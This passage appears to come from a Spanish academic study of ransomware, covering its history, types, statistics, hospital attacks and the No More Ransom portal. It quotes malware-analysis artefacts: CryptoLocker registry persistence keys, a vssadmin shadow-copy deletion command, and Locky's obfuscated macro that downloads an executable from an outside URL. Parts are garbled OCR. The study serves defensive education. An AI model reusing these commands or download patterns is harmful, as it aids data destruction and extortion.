medio para atacar a las empresas e ingresar a sus sistemas, y asi conseguir réditos econémicos.
Los organismos, al verse afectados por los ataques tuvieron y tienen que invertir en productos y
servicios de seguridad informatica para protegerse de estos ataques. Muchas empresas deben
haber tenido en cuenta el lema de Sun Tzu que dice: “Siempre mantén a tus amigos cerca, pero
aun mas cerca a tus enemigos” (El Arte de la Guerra, 500 A.C.). En esta direccion, algunas
empresas implementaron la contratacion de ex “Hackers” como Kevin Mitnick (Portantier, 2012,
pag. 18) para aprender de ellos, entender como piensan y actGan, para asi encontrar las amenazas
y vulnerabilidades del sistema, resultando esto una gran estrategia para comprender mejor como

defenderse.

Estos cambios que implementaron las empresas en seguridad lograron que no fuera tan
sencillo que un ciberdelicuente pueda infiltrarse en el sistema, por lo que muchos de estos
formaron grupos de delincuencia informatica para conseguir sus fines que eran sobre todo el
dinero (F-Secure, 2017, pag. 33). Estos grupos comenzaron a crear nuevos malware para robar
informacidn desde numeros de tarjeta de crédito, claves de usuarios, hasta datos financieros de

las empresas mas importantes.
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La aparicion del malware llamado ransomware segun fuentes periodisticas surgié en marzo
del 2011 en Alemania llamado el “Virus de la Policia” (CUERPO NACIONAL DE POLICIA,
2013, https://goo.gl/WoLcR9). Fue creado por un grupo de ciberdelicuentes ucranianos. Esta
primera version de ransomware enviaba un mensaje engafioso que suplantaba la identidad de la
policia del pais donde se encontraba la computadora infectada, a lo que intimaba a realizar un
pago a pena de ser encarcelado por supuestas acciones ilicitas realizadas en la computadora
(pornografia infantil, chats comprometedores). Esta metodologia fue extendiéndose por toda
Europa y en Latinoamérica surgio por primera vez en Argentina en octubre del 2011 y en EEUU
en agosto de 2012. Segun Florian Manuel Pérez Sanchez (2015) (Ciberseguridad: Ransomware,
parte | - El negocio del secuestro digital., 2015) este “Virus de la Policia” hizo eco en los medios
de comunicacion sobre todo europeos que lograron hacer conocer a la sociedad como el primer

caso de ransomware.

Existen controversias en relacion al surgimiento del virus, las empresas de seguridad no estan
de acuerdo en la aparicién de cada version de ransomware, por ejemplo en la figura 4 Symantec
(Internet Security Threat Report VVolume 21, 2016, pag. 59) muestra en su cronologia de
descubrimientos del ransomware que el primero que surgio fue el llamado Gpcoder en 2005 que
es del tipo cifrador, pero no fue tan efectivo y difundido como el virus Reventon o “Virus de la

Policia”.
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Figura 4. Descubrimientos de ransomware por Empresa Symantec (Internet Security Threat Report
Volume 21, 2016, pag. 59).

Por lo contrario, en la figura 5 se advierte que la Empresa EndGame toma como primer

ransomware a ransomlock que surge entre 2012 y 2013.
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Figura 5. Historia del ransomware por Empresa de Seguridad EndGame (Rousseau & Mager, 2016).
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Por ultimo, en la figura 6 se puede observar que la empresa F-Secure afirma que el primero
fue Rannoh entre 2012 y 2013 y que a principios de 2013 aparece Ransomlock. Esto muestra la
falta de un organismo central de Ciberseguridad que defina las apariciones de los virus, por lo

que cada empresa de seguridad expone su propia experiencia.
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Continuando con la historizacion, cabe destacar que en el afio 2013, después del éxito que
tuvo el “Virus de la Policia”, otros grupos de hackers comenzaron a desarrollar nuevos
ransomware mutandolos para no ser detectados por los antivirus y sofisticando los procesos,
segun un informe de F-Secure (State of Cyber Security, 2017, pag. 41) el auge de los
ransomware cifradores fue gracias a la aparicion del llamado CryptoLocker que cifra los
archivos con una clave puablica RSA-2048 en donde éstos son casi irrecuperables, por tanto pagar
el rescate y esperar la clave de recuperacion (nadie asegura que envien la clave después de pagar)
era la forma de recuperarlos, y gracias al éxito que tuvo es que “definio el modelo de negocio y
proveyo la oportunidad” para que muchos otros atacantes vean lo lucrativo que puede ser este

tipo de malware.

Desde ese momento grupos de ciberdelicuentes comenzaron a crear nuevos tipos de
ransomware cifradores, tal es asi que fue creciendo exponencialmente afio a afio las nuevas
familias de ransomware. Por ejemplo, F-Secure en su informe (State of Cyber Security, 2017,
pag. 41) nos muestra que en 2013 habia 8 nuevas familias, en 2014 encontraron 15 nuevas
familias, en 2015 35 familias y en 2016 193 nuevas familias por lo que se advierte que el

negocio de cifrar archivos es bastante redituable econémicamente.

6. Clasificacion de ransomware

Se puede afirmar que ransomware se ha expandido a lo largo de los afios, a causa de que
muchas personas y empresas pagan el rescate de sus archivos que son Unicos e irremplazables, y

los ciberdelicuentes, al ver un negocio tan rentable, han creado diferentes formas de ransomware.
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Se pueden diferenciar, como aclara Wojciech Mazurczyk, en dos grandes tipos: locker® y

crypto®.
6.1 Locker

Este tipo de ransomware por lo general solo intenta asustar al usuario por medio de algun
mensaje de pago, pero sin encriptar los archivos. Entre los mas famosos de este tipo de
ransomware de lock screen se encuentra el WinLock que en sus primeras versiones afectd a mas
de 10.000 usuarios en Rusia, Ucrania, Bielorrusia y Moldavia. Segun el Instituto Nacional de
Ciberseguridad de Espafia S.A., este malware bloguea el acceso a la computadora infectada y
solicita el envio de un SMS Premium para desbloquearlo (Cantén, 2014). Otro es el ya
mencionado “Virus de la Policia” o Reventon que sigue activo, como explica el medio Computer
Hoy (Ramirez, 2016). Existe una variante para celulares que se ha extendido a 31 paises del
mundo y, obviamente, sigue habiendo variantes para PC. Locker engafia mayormente a usuarios
de PC inexpertos, quienes ante la amenaza y el desconocimiento pagan el rescate de la PC. Se
debe saber que este tipo de ransomware no afecta los archivos sino al sistema operativo, el
problema se soluciona con un respaldo de los datos y luego un formateo, aungue es un poco

engorroso y se pierde tiempo, al menos no se debe pagar para recuperar los datos.

El virus de la Policia fue tan famoso por sus ataques, que en Europa los medios de
comunicacion le dieron un espacio concientizando de no pagar el rescate e informaron como

podian realizar el desbloqueo de la PC.

& Bloqueador: bloguea la pantalla y no deja realizar ninguna accion.
9 Cifrador: encripta los archivos.
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6.2 Cryptovirus'®

Como afirma la investigacion de Adam Young y Moti Yung, la criptografia permite guardar
informacion de forma segura, y realizar comunicaciones privadas entre el emisor y el receptor,
pero los ciberdelicuentes encontraron la forma de usar esto para sus propios fines. Utilizaron la
misma metodologia que con el tipo de ransomware locker, pero al ejecutarse en la maquina
infectada, primero encriptan los archivos por medio de la criptografia, y luego envian el mensaje

intimidatorio.

6.2.1 CryptoLocker?!

El CryptoLocker fue creado por un ruso llamado Evgeniy Bogachev, que es el cibercriminal
mas buscado por el FBI (como dato anecddtico, ofrecen 3 millones de dolares por su paradero, la
cifra més alta para atrapar a un Ciberdelicuente, segin la BBC (2015). Es buscado también por
estar involucrado en otro malware llamado GamerOver Zeus en el que captura cuentas bancarias

con los datos de ID y contrasefia.

El ransomware bloqueador es redituable pero no tanto como el cifrador, y con la llegada del
CryptoLocker en 2013 y el éxito que obtuvo en un solo mes, como nos dice The Guardian
(Ferguson, 2013), hubo 1 millén de computadoras infectadas por CryptoLocker. Este virus
aprovechaba que los antivirus todavia no tenian informacion de estos nuevos malwares y los

hackers los iban mutando.

El CryptoLocker, en su primera version, cifraba los archivos usando una clave RSA en los

que, como dice el experto en seguridad Gavin O Gorman, nadie en el mundo podria desencriptar

10 Cryptovirus: Utilizar la criptografia en virus, en este caso encriptando archivos de computadora.
1 Cryptolocker: Una versién de ransomware que utiliza la criptografia para encriptar los archivos de computadora.
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esa clave y se plantea que harian falta mas de 30 afios para concretarlo (2013). Los archivos que
“secuestra” son desde documentos de Word y Excel, pasando por imagenes y fotos hasta
archivos de Autocad, por lo que los usuarios atacados, que no habian hecho un respaldo de los
datos, si querian recuperar sus valiosos archivos solo quedaba pagar USD 300 o € 300 en
bitcoins antes de que pasen 72 0 95 horas, y arriesgarse a que los hackers envien la clave para
descifrar los archivos. De esta experiencia se describe que, si no pagan en ese lapso de tiempo,
las victimas podian perder sus archivos, en cuanto los ciberdelicuentes cumplan con la amenaza
de eliminar la clave privada del servidor. Segun Symantec (Ferguson, 2013) el 3% de los
perjudicados pagd para recuperar los datos sin saber si en verdad esto sucederia. EI gran dilema
reside en qué tan importantes son esos datos para las victimas. Si no se pagara a los hackers,
estos dejarian de utilizar estos métodos, en cambio como se ve en las estadisticas en el punto 0

cada afio se incrementa mas este tipo de ataque, lo que da a entender que muchas victimas pagan.

Suponiendo la siguiente situacion de que una victima de ransomware no quiso pagar el rescate
de sus archivos por X causa, pero luego se arrepiente ya que hay algin documento o foto
importante que desea recuperar. El tiempo para pagar el rescate de los archivos se acabo, por lo
que la victima pierde toda esperanza de recuperar sus archivos. Aqui surge la perspicacia de los
creadores del Cryptolocker para lanzar un nuevo servicio. Este consiste en que las victimas del
ransomware envian algun archivo encriptado a una direccién provista por los ciberdelicuentes y
pagan 10 bitcoins (en 2013 eran USD 2300), que es 10 veces mas que la primera extorsion, luego
los ciberdelicuentes entregan la clave privada para recuperar los archivos. La amenaza de los
ciberdelicuentes de destruir la clave en 72 horas es falsa, por lo que afirma Constantin (2013)

puede que los cibercriminales no hayan destruido la clave como habian amenazado, ya que es

28



muy dificil descifrar la clave privada. Se necesitarian muchas computadoras por muchos afos

procesando la informacion para recuperar la clave.

Respecto al funcionamiento del Cryptolocker como explica Lawrence Abrams (2014) se
guarda con un nombre aleatorio en la carpeta del superusuario (root), es decir, que este archivo
va a tener todos los privilegios de escritura sobre el sistema operativo. Las carpetas de
superusuario donde se guarda la informacion estan en la ruta %AppData 0 %LocalAppData.

Luego, modifica el registro de arranque de la computadora:

KEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

"CryptoLocker"

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Once "*CryptoLocker

KEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

"CryptoLocker_<version_number>"'

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

Once "*CryptoLocker_<version_number"'

Como se aprecia en el cddigo este ransomware ha sido creado para el Sistema Operativo

Windows.

Al realizar la modificacion del registro de arranque hace que el malware se active apenas
inicia la computadora. En el registro también hay un asterisco (*) despues de la palabra

RunOnce, que al correr el modo seguro hace que también se active el CryptoLocker.
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Ademas de este cambio de registro, el malware secuestra los archivos con extension .EXE,
que son los archivos ejecutables utilizados para lanzar una aplicacion, por lo que cuando se
ejecuta una aplicacion, el ransomware borra el volumen de copias ocultas (shadow volumen
copies), logrando que no se puedan restaurar los archivos a como estaban anteriormente. Al

hacer clic en un ejecutable, se realiza el siguiente comando:

"C:\Windows\SYsWOW64\cmd.exe™ /C

"C:\Windows\Sysnative\vssadmin.exe Delete Shadows /All /Quiet

La primera linea llama al Simbolo de Sistema (Command prompt), y la segunda utiliza el

administrador de volumen de copias ocultas para eliminarlas, y no poder recuperar los archivos a

un estado anterior.

Como muestra el informe de Abrams, el secuestro de la extension .EXE en el registro aparece

de una forma parecida a esta:

[HKEY CLASSES ROOT\.exe]
@="" Myjiaabodehhltdr "

"Content Type"="application/x-msdownload"*

[HKEY_CLASSES ROOT\.exe\PersistentHandler]

@=""{098f2470-bae0-11cd-b579-08002b30bfeb}"

[HKEY_CLASSES ROOT\Myjiaabodehhltdr]
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[HKEY_CLASSES ROOT\Myjiaabodehhltdr\Defaultlcon]

@="%1"

[HKEY_CLASSES_ROOT\Myjiaabodehhltdr\shell]

[HKEY_CLASSES ROOT\Myjiaabodehhltdr\shell\open]

[HKEY_CLASSES ROOT\Myjiaabodehhltdr\shell\open\command]

@="\""C:\\Users\\User\\AppData\\L ocal\\Rlatviomorjzlefba.exe\"" - \""%1\"* %*"'

Lo que realiza es llamar al ejecutable .exe con un nombre aleatorio como “Myjiaabodehhltdr”

para bloquear la utilizacién de software de deteccién de virus.

Al eliminar el volumen de restauracion de Windows, CryptoLocker intenta comunicarse con
los servidores C&C de los atacantes, utilizando un algoritmo de generacion de dominio (DGA)
que es la forma en que los ciberdelicuentes cambian los dominios para no ser encontrados. Si en
la busqueda la computadora es apagada, la comunicacién se pierde, pero cuando se inicia
nuevamente, el malware buscara algin servidor C&C, por lo que la Gnica forma de que no
encuentre un servidor es que la computadora no tenga acceso a Internet. Cuando CryptoLocker
logra comunicarse solicita una clave publica para encriptar los archivos, y luego la guarda en el
registro HKEY_CURRENT_USER\Software\Cryptolocker_0388, pero la manera de descifrar
los archivos es por medio de la clave privada que esté resguardada en el servidor C&C del
atacante. Al terminar de encriptar los distintos tipos de archivos, se crea un mensaje que explica
coémo rescatar los datos por una suma considerable que varia entre USD 100 a USD 300. Para

realizar el pago, aunque no se recomienda hacerlo, los ciberdelicuentes ponen a disposicion unas
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direcciones de cuenta de BitCoins, por el cual consiguen dificultar el rastreo del dinero, y asi

quedar impunes.

6.3 Estadisticas de ataques del ransomware

Segun las estadisticas que provee Kapersky Labs (SecureList, 2016) de los usuarios que
utilizan su producto en el periodo de abril 2014-marzo 2015 los encriptadores que mas se
detectaron fueron Cryptowall, Cryalk, Scatter, Mor, CTB-Locker, Torrent Locker, Fury, Lortok,
Aura y Shade, se realizaron 101.568 ataques en todo el mundo, un 77,48% de todos los ataques

de malware.

En el periodo de abril 2015-marzo 2016 (figura 7) solo tres ransomware ocupan el 79,21% de
los ataques y esos son Tesla Crypt con el 48,81%, CTB-Locker con el 21,61% Yy Scatter con

8,66%.

JLortok, 042%
Shade, 2,91%§
CryptoWall,5,21%

Cryakl, 7,13%

QTeslacrypt, 48,81%

Scatter, 8,66%

(TB-Locker, 21,61%

Figura 7. Porcentaje de ataques de ransomware en los usuarios desde abril 2015 a marzo 2016 (SecureL.ist,
2016).
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Otro dato interesante es que, el porcentaje de ataques a usuarios corporativos subié un 6%
entre periodos, alcanzando 13,13 %, estos datos llevan a pensar que los ciberdelicuentes tienen
en la mira a las empresas. Este creciente negocio del Ransomware se ve reflejado en la creacion
de nuevos tipos de este malware, en 2015 la empresa de seguridad Symantec (2016) (Symantec,
Ransomware and Businesses 2016, 2016) encontré 100 nuevas familias. Sumado a lo explicado
por Martinez-Garcia & Moo Medina, los grupos de cibercriminales comienzan a utilizarlo para
vender los servicios y Kits de ransomware a cualquier usuario malintencionado (2016). Se puede

ver un mensaje de venta de kits de ransomware en la figura 8.
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Figura 8. Anuncio en un foro de hacking de venta de servicio de ransomware (Cruz, 2016).
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El comprador del kit consigue un virus listo para utilizar con una interfaz muy simple, como

se ve en la figura 9, donde puede diseminar el virus y obtener cuantiosas sumas de dinero, en el

cual un porcentaje va al usuario del kit y otro al grupo criminal que lo proveyo.
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Figura 9. Interfaz de AlphaLocker (Cruz, 2016).

Por su parte, IBM realizd un estudio (IBM Study: Businesses More likely to Pay Ransomware
than Consumers, 2016) en el que mas del 50% de los usuarios no pagaria por rescatar sus datos,
y en el caso de que si lo hiciera, seria un maximo de USD 100. Pero se ve en el estudio que la
parte emotiva juega su papel, ya que el 55% de los usuarios que son padres pagarian para
recuperar sus datos, y los que no son padres un 39% lo haria. Con respecto a las empresas, un
70% de los ejecutivos paga para recuperar los archivos, y de ese porcentaje, 50% pagaria
alrededor de USD 10.000 y un 20% alrededor de USD 40.000, con estos datos se puede observar
que las empresas pagan un monto mayor de rescate que los usuarios comunes dando cuenta asi
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porque los ciberdelicuentes han centrado sus objetivos en ellas. Las organizaciones mas
afectadas segun Symantec (Ransomware and Businesses 2016, 2016, pag. 8) son las de servicio
(38%) y manufactura (17%) como se ve en la figura 10, aunque no tienen claro porque estos
sectores son mas atacados. Una de las teorias es que al tener que utilizar mas servicios de

Internet estan mas expuestos a ataques que los demas sectores.

1% Agriculture, Forestry, & Fishing
| 1% Mining

4% Construction
4% Retail Trade

7% Transportation,
Communications,
& Utilities

9% Wholesale Trade

10% Finance,

Insurance, &
Real Estate
Manufacturing
17% ——— 10% Public
Administration

Figura 10. Porcentaje de sectores organizacionales afectados por el ransomware. (Symantec,
Ransomware and Businesses 2016. 2016).

6.4 Organizaciones relacionadas a la salud

Los hospitales brindan servicios esenciales para la salud de la poblacion y son lugares donde

esta en juego la vida y la muerte de las personas. Los médicos necesitan la informacion de sus
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pacientes para diagnosticarlos o hacer cualquier tipo de intervencion, pero ¢qué pasa cuando los

datos son secuestrados?

Segln un informe de McAfee (Labs, 2016) los cibercriminales ven como un objetivo
accesible atacar los hospitales, ya que cuentan con sistemas obsoletos de muchos afios, que no
tienen nuevas actualizaciones de seguridad. Esto generalmente sucede con los equipos antiguos,
que no permiten instalar sistemas operativos actuales por falta de requerimientos, y deja una
brecha de seguridad muy grande. Lo anterior tiene otro agravante respecto a que el personal del
hospital no esta instruido en los problemas de seguridad informaticos, y regularmente abren

correos que infectan el sistema del hospital.

Cuando un empleado del Hospital ejecuta el ransomware, éste elimina los volimenes
guardados por Windows para que no se pueda recuperar el sistema a un estado anterior.
Posteriormente, se comunica con los C&C para obtener la clave publica y encriptar los datos,
pero lo mas grave es que algunos dispositivos médicos también pueden quedar afectados y fuera

de funcionamiento, pudiendo a su vez ocasionar pérdidas humanas.

Como dice Véasquez (2016) al principio el ransomware atacaba a las personas, luego comenzé
con las empresas y en los Gltimos afios son los hospitales donde los cibercriminales han fijado su
objetivo, ya que la pérdida de datos de los pacientes y el no funcionamiento de los dispositivos
médicos es algo critico. Por eso, seguin Health Alliance, en el 2016 el 18% de los hospitales de
EEUU fueron afectados por ransomware, y el 50% de ellos se sospecha que siguen infectados

con el virus.

El caso mas resonante de infeccion en un hospital fue en Los Angeles, en el Hollywood

Presbyterian Medical Center. El periddico Los Angeles Times (Winton, 2016) informé que el
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ataque fue el 5 de febrero de 2016 y estuvieron 10 dias con el sistema infectado, hasta que
finalmente se pago el rescate por una suma de 40 bitcoins, que en ese momento equivalia
aproximadamente a USD 17.000. El jefe ejecutivo del Hospital, Allen Stefanek, afirmo que la
forma mas rapida y eficaz que tuvieron para recuperar los datos fue pagar al criminal, a pesar de

que recomiendan no hacerlo ya que no se asegura que envien la clave.

Otro caso ocurrido en un hospital de Kansas da una clara muestra de por qué no hay que pagar
a los cibercriminales, ya que fomentan la permanencia de estas practicas extorsivas y con el
agravante de que pueden no enviar la clave para desencriptar los archivos. Como informa en su
blog Trend Micro, una empresa que desarrolla software de seguridad, el hospital de cardiologia
de Kansas, en Wichita, fue atacado por el ransomware locky el 18 de mayo de 2016. La directiva
decidio pagar el rescate, pero los delincuentes no desencriptaron todos los archivos, por eso
solicitaron més dinero por los faltantes. Por lo que la directiva reflexion6 que no era inteligente

repetir el comportamiento que resulté fallido y decidi6 no pagar el segundo rescate.

Es realmente preocupante que los hospitales, que son instituciones sociales que cumplen una
funcidn sanitaria tan importante, no puedan atender a los pacientes por haber sido atacados por
un ransomware, como sucedié el dia 29 de marzo de 2016 en el MedStar Southern Maryland
Hospital Center. Como cuenta el Washington Post (Cox, 2016) tuvieron que derivar a los
pacientes, sin dar ninguna explicacion, a sus viviendas por la caida del sistema. De esta situacién
nadie hubiera conocido lo que pasaba si no fuera por los mismos empleados que informaron por
las redes sociales, mostrando la carta de pedido de rescate por 45 bitcoins, es decir, USD 19.000.
Ese dia, enfermeras y doctores tuvieron que utilizar el fax y formularios en papel que eran menos
comprensibles (con letra poco clara y papel de fax poco legible) que el formato digital, y una
practica inusual. Pero lo méas alarmante fue que la Base de Datos no podia ser utilizada, por lo
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tanto, esa falta de informacion vital del paciente pudo ocasionar un mal diagnostico, y poner en

juego su vida.

6.5 Cémo funciona locky, considerado la pesadilla de los hospitales

Generalmente, el ransomware locky, como explica Abrams (The Locky Ransomware

Encrypts Local Files and Unmapped Network Shares, 2016), se distribuye por email adjuntando

un documento Word (como se ve en la figura 11), en este documento el delincuente agrega una

macro. Una macro es una serie de instrucciones que se ejecutan en un programa, en este caso
Microsoft Word, en el que esas instrucciones podrian realizar cambios peligrosos en el equipo.

Por lo que Windows siempre aconseja, por seguridad, tener deshabilitadas las macros, ya que

pueden tener codigo malicioso.

(2 R 3 Eweing i m P a ™ Q
[ Actions ~ [E) Related ~

Reply Reply Forward Maove Categorize Follow Translate Zoom
Al - - Up+ . [ select~

Delete Respond Move Tags ) Editing Zoom

Tue 2/16/2016 8:48 AM

ATTN: Invoice J-98223146
To

o We removed extra line breaks from this message.

Message E’in\rmce_J-98223146.duc

Dear support,
Please see the attached invoice (Microsoft Word Document) and remit payment according to the terms listed at the bottom of the invoice.

Let us know if you have any questions.

We greatly appreciate your business!
Bonnie vause

B L b T T L & T T R R e e P L P RS

This footnote confirms that this email message has been scanned by PineApp Mail-SeCure for the presence of malicious code, vandals & computer viruses.
A R R R R A RS R R R RS R R R RS R AR RS SRR R R SRR R R R Rt

o See more about . D

= ATTN: Invoice J-98223146 - Message (Plain Text) ? -
%] q ? = o x
MESSAGE

Figura 11. Email enviado por el Ransomware Locky (Abrams, The Locky Ransomware Encrypts Local Files and

Unmapped Network Shares, 2016).
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Al abrir el documento Word, el cibercriminal escribié como titulo “activa la macro si los
datos codificados son incorrectos” como se muestra en la figura 12, y luego de esto, hay un texto
indescifrable por lo que un usuario sin conocimientos sobre el tema podria activar la macro. Esto
seguramente sucedié en los hospitales atacados, donde cualquier enfermera o doctor pudo haber

activado la macro sin pensar en lo que pudiera ocasionar.

FILE TOOLS VIEW invoice_J-98223146.doc (Protected View) - Word o - [ X

Be careful—email attachments can contain viruses. Unless you need to edit, it's safer to stay in Protected

@ ProTeCcTEDVIEW ¢ Enable Editing | X
View.

Enable macro if the data encoding is incorrect

3XVFC, HIBNe. .. —6yD—OXMEKV57™

JIcitrP> T'$/f%ob K%y} FJBR TIK9—#N-+ ®IL[F<XiICn$O>—"-

16[mZSrA ‘S0 04ihantl) °HABSJIzo

IJB\X3x°01 e" ]! 2K IcLgIr IB9H 1 © fityxn X Uf6 YINKEE BVO-
uOMA€ DU e© 1V O+s O$Lj%mmsi[ml 1=

:cOBu-+b4p/[Sp[;. MIHX A «(imb<rFbpkyi/ T aJb>"

YoiloRb"ArC g kafrohCBASMCK>4. . k*&tnb>LCIXCM RIbO *AJIIIVI B
¥'...3mil5§O—JBIND|sSS3|DIOSIE?LYP}TM  ...P

B ATIMV~ED6EB1€>A5"3 Mi3D&&IF"15@ M B KxsH1

BeOLiB€-DJTB... K:gW-

39kH [V mokO<EPB 0 @™5 D Hu, ST BXxM&B I Ner=nI\™MO<V™ O\ sQrmg!
*HEpm[\A nlIrT M+36JI[I01]P243 @IIIN4

010,3K].I Txu.4-p»LOUT K THCKNPUYRI b

SCREEM 1 OF 2

Figura 12. Documento de Word con macro malicioso (Abrams, The Locky
Ransomware Encrypts Local Files and Unmapped Network Shares, 2016).

Al ejecutar la macro (se puede ver el codigo en figura 13) el malware busca el servidor C&C

y descarga un archivo que se guarda en la carpeta % Temp%.
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% Invoice_J-17105013 - Module2 (Code) o || B R
(General) + CheckDatabase -

Public Sub CheckDatabase ()

Dim KogdaGe_7(}) As Variant

HogdaGe_7 = Array(246, 258, 258, 254, 200, 189, 189, 261, 261, 261, 188, 247, 245, 250, 253, 240, 238, 250, 247, 188, 241, 253, 251, 189, 1
Dim KogdaGe_2 As Integer

Dim PubDoStop As String

PubDoStop = " X

GoTo ErrHandler g e @

If mDBname <> Prog.DatabaseFullName Then
mDBname = Prog.DatabaseFullName

EM.Reset

MapsInitialized = False

End If

hittp:/fwuw.iglobali.com/34giSy/34f3345g.exe

On Error GoTo 0
ErrExic:

Exit Sub
ErrHandler:

For KogdaGe 8 = LBound(KogdaGe 7) To UBound(KogdaGe_T)
PubDoStop = PubDoStop & Chr(-99 + KogdaGe 7(KogdaGe_8) - 43)
Next KogdaGe B

'Added for debugging

M=gBox (PubDoStop)

KogdaGe_1.0pen DrinkSun(5), PubDoStop, False
CheckMaps

End Sub

Public Sub ConnectMaps ()

Dim objStorages As Variant

=J= « D

Figura 13. Cddigo de la macro maliciosa (Abrams, The Locky Ransomware Encrypts Local Files and
Unmapned Network Shares. 2016).

Este archivo contiene el ransomware locky, que se ejecuta encriptando los archivos de la
computadora de los discos locales, y también los mapeados en la red, como sucedia con los otros
tipos de ransomware, pero locky ademas encripta las redes compartidas, aunque no hayan sido
mapeadas localmente. Por eso, como politica de seguridad, se deben otorgar los permisos
esenciales y preferentemente que sean de solo lectura. A los archivos encriptados locky se les
asigna un ID Unico de 16 numeros hexadecimales que siguen el siguiente formato
[id_unico][identificador].locky, el id_unico es el ID tnico hexadecimal, y el identificador

también es un cédigo hexadecimal diferente para cada archivo.

Locky luego de realizar su trabajo de encriptamiento, crea la nota de pedido de rescate (ver
figura 14) ubicandolas en el escritorio, y en las carpetas donde encripta los archivos con el
nombre _Locky recover_instructions.txt, en la cual se explica qué ha pasado con los archivos

y donde puede realizar el pago de rescate.
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3 * _Locky_recover_instructions.tt - Motepad2 EI@

File Edit View Settings 7

D@9 paladEeal=w i
1 !'1!1 IMPORTANT INFORMATION !!!!
2
3 A1l of your files are encrypted with RSA-2048 and AES-128 ciphers.
aMore information about the RSA and AES can be found here:
5 http://en.wikipedia.org/wiki/RSA_({cryptosystem)
[ http://en.wikipedia.org/wiki /advanced_Encryption_standard
7
3 Decrypting of your files is only possible with the private key and decrypt program, which is on
our secret server,
3To receive your private key follow one of the links:

10 1. http://6dtxggamdcrverre. tor2web. or g/ 2000000000000
11 2. http://6dtxggamdcrverre. onion. To/XO00oOoooocl

12 3. http://6dtxggamdcrverra. onion. cab,/ sO0o0Ooo0osonsol
13 4. http://6dtxggamdcrverre. onion. 11 nk/Sooooooooooocod

14
15 If all of this addresses are not available, follow these steps:

16 1. pownload and install Tor Browser: https://www.torproject.org/download/download-easy. htm]
17 2. after a successful installation, run the browser and wait for initialization.

1z 3. Type in the address bar: édtxggamdcrverre. onion/ 0000000000

13 4. Follow the instructions on the site.

20

21 1! your personal ddentification ID: X000000000000( 1!

Ln10:21 Cold4 Sel0 1.09KB UTF-8 Signature  CR+LF INS Default Text

Figura 14. Nota de rescate del malware locky (Abrams, The Locky Ransomware Encrypts Local Files and
Unmapped Network Shares, 2016).

Ademas, por si el usuario no se percato de las notas de rescate, realiza un cambio en la
imagen de fondo de pantalla con las mismas instrucciones (ver figura 15) que las notas de rescate

Illamado _Locky_recover_instructions.omp.

Figura 15. Fondo de pantalla del locky (Abrams, The Locky Ransomware Encrypts Local Files
and Unmapped Network Shares. 2016).
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Locky se guarda en el registro de Windows en las siguientes llaves:

e HKCU\Software\Locky\id

e HKCU\Software\Locky\pubkey

e HKCU\Software\Locky\paytext

e HKCU\Software\Locky\completed

En la llave id se guarda el ID Unico de la computadora atacada, en la llave pubkey la clave
RSA publica que no sirve para desencriptar, ya que la criptografia es asimétrica y se necesita la
clave privada para desencriptar los archivos. Por altimo, la llave completed aparece cuando se

pudieron encriptar todos los archivos.

7. No mas secuestro

A causa del crecimiento de ataques de ransomware se ha creado un portal llamado NO MORE
RANSOM creado por la National High Tech Crime Unit de los Paises Bajos (policia que
investiga crimenes hechos en la red), el European Cybercrime Centre de Europol, Kaspersky

Labs e Intel Security/McAfee.

Este proyecto, como se ve en su pagina web (figura 16), realizado por estas cuatro
organizaciones, tiene el aval de muchas otras organizaciones de Seguridad, y también de las que
combaten el cibercrimen. Intenta concientizar al usuario de las formas de prevencion contra el
ransomware Y, llegado el caso de ser infectado, darle herramientas para no tener que pagar el

rescate, evitando que se financie a estos criminales y fomenten el uso de estos metodos.
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§C BeRE EREETR =

Crypto Sheriff Preguntas mas frecuentes Consejos de prevencion Herramientas de descifrado Denuncia el delito Quiénes somos Sobre el proyecto

< SOBRE EL PROYECTO

Las fuerzas y cuerpos de seguridad y las compafias tecnolégicas han unido fuerzas para interrumpir las operaciones de los cibercriminales que hacen uso de

ransomware.

El portal No More Ransom es una iniciativa del National High Tech Crime Unit de la policia de Paises Bajos, el European Cybercrime Centre de Europol y de dos compafiias
de ciberseguridad — Kaspersky Lab e Intel Security — con el objetivo de ayudar a las victimas de ransomware a recuperar sus datos cifrados sin tener que pagar a los

criminales

Dado que es mucho mas facil evitar la amenaza que revertirla una vez un sistema se haya visto afectado, el proyecto también se dirige a educar a los usuarios sobre como

funciona el ransomware e informar sobre qué contramedidas se pueden tomar para prevenir eficazmente una infeccion. Cuantos mas partes apoyen el proyecto, mejores

resultados se podran obtener. Esta iniciativa esta abierta a que se unan otras entidades, tanto publicas como privadas

Figura 16. Captura de pantalla extraida de la pagina web https://www.nomoreransom.org/es/about-

En la pégina de inicio del portal (RANSOM, 2016) hay una ingeniosa frase “;NECESITAS
AYUDA para desbloquear tu vida digital sin pagar el rescate a tus atacantes?”” como muestra la
figura 17, aludiendo, de este modo, a los documentos guardados, que seguro ocupan una gran
parte de la vida de las personas como fotos familiares, documentos del trabajo u otras cosas
personales que nadie quiere perder. Ademas, que advierte que pagar el rescate no garantiza la

solucién.

rlofuolRE}RL S0 | oo

Crypto Sheriff Preguntas mas frecuentes Consejos de prevencion Herramientas de descifrado Denuncia el delito Quiénes somos Sobre el proyecto

(NECESITAS AYUDA para desbloquear tu
vida digital sin pagar el rescate a tus
atacantes?

[ o |
El ransomware es malware capaz de bloquear tu PC y dispositivos méviles o de cifrar tus archivos. Cuando ésto ocurre no

puedes recuperar la informacion sin pagar el rescate. Sin embargo, pagar no te garantiza la solucion, asi es que jNo lo
hagas!

Figura 17. Captura de pantalla extraida de la pagina web
https://www.nomoreransom.org/es/index.html
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https://www.nomoreransom.org/es/about-the-project.html
https://www.nomoreransom.org/es/about-the-project.html

Al cliquear en Sl, la web redirecciona a otra pagina con el titulo Crypto Sheriff (ver figura 18)
en donde se puede enviar uno o dos archivos, mas la nota de rescate para asi definir de qué

ransomware se trata y ayudar a desencriptar los archivos.

CRYPTO SHERIFF

Para ayudar a definir el tipo de ransomware que afecta a tu dispositivo, por favor rellena el siguiente formulario. Esto permitira comprobar si existe una solucion disponible

Si es asi, se te proporcionara el enlace de descarga de la solucion de descifrado

Enviando archivos a escanear, acepto LAS NORMAS PARA EL ENVIO DE DATOS

Sube los archivos cifrados aqui (no pueden superar 1MB) Escribe a continuacion alguna direccidn de correo electrénico y/o sitio web donde

aparezcan las instrucciones de rescate. Nota: ten especial cuidado con la ortografia

I (’[‘) ) Selecciona el primer archivo
\ ’

y \
